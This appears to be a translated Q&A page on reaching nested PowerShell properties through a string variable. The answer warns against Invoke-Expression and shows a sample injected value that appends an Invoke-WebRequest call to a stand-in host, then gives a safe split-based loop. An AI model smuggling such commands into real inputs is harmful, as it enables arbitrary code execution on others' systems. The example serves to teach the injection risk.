假设我有以下内容:
(Get-Date).psobject.Properties.Name
我可以使用变量来访问属性:
$x = Name
(Get-Date).psobject.Properties.$x
但是,我不能使用$ x来扩展"嵌套属性:
$x = 'psobject.Properties.Name'
(Get-Date).$x
因为在这种情况下,Powershell正在处理$ x,就像整个字符串是文字属性名一样。
我发现有很多资源可以通过不同的方式访问带有特殊字符的属性,但没有人知道如何反复使用。
这可能吗?如果没有,为什么?
答案 0 :(得分:4)
PowerShell的一个有趣功能是您可以拥有包含句点的属性。例如:
[pscustomobject]@{'a.b.c' = 'example'}
这意味着在您的问题中$x
是字符串,(Get-Date).$x
将不会以点表示法解析为单独的属性名称。但是(Get-Date).'psobject.Properties.Name'
这种懒惰的方法是使用Invoke-Expression
在评估之前首先构建字符串。
$x = 'psobject.Properties.Name'
Invoke-Expression "(Get-Date).$x"
只要$x
的定义是您定义的静态值,这通常是可以接受的。但是如果其他东西设置了$x
的定义,你可以进入Bobby Tables situation并执行任意代码。例如:
$x = 'psobject.Properties.Name; Invoke-WebRequest http://example.com/superdangerouscode!!!'
Invoke-Expression "(Get-Date).$x"
因此,如果您可以依赖于$x
的定义以点分隔符号,则可以使用点上的split()
方法将值转换为要循环的数组。
$Date = (Get-Date)
$Properties = 'psobject.Properties.Name'.split('.')
$Properties | ForEach-Object {
if ($_ -ne $Properties[-1]) {
#iterate through properties
$Date = $Date.$_
} else {
#Output last value
$Date.$_
}
}